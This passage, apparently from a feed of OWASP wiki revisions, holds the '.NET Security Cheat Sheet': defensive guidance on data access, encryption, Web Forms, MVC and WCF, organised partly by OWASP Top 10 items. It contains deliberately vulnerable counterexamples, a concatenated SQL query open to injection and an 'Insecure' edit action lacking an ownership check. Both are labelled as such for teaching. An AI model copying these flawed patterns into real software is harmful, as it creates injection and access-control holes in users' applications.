* A9 Using components with known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* A10 Unvalidated redirects and forwards&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=227616</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=227616"/>
				<updated>2017-03-19T15:28:28Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Updated the web forms section based on Microsoft's guidance.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
  &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
    &amp;lt;security&amp;gt;&lt;br /&gt;
      &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;/security&amp;gt;&lt;br /&gt;
    &amp;lt;staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
    &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
        &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
        &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
        &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
        &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
    &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
    &amp;lt;rewrite&amp;gt;&lt;br /&gt;
      &amp;lt;rules&amp;gt;&lt;br /&gt;
        &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;conditions&amp;gt;&lt;br /&gt;
            &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/conditions&amp;gt;&lt;br /&gt;
          &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/rule&amp;gt;&lt;br /&gt;
      &amp;lt;/rules&amp;gt;&lt;br /&gt;
      &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
        &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
              pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;conditions&amp;gt;&lt;br /&gt;
            &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/conditions&amp;gt;&lt;br /&gt;
          &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
        &amp;lt;/rule&amp;gt;&lt;br /&gt;
      &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
    &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
  &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* A1 SQL Injection&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* A2 Weak Account management&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* A3 XSS&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* A4 Insecure Direct object references&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* A5 Security Misconfiguration&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
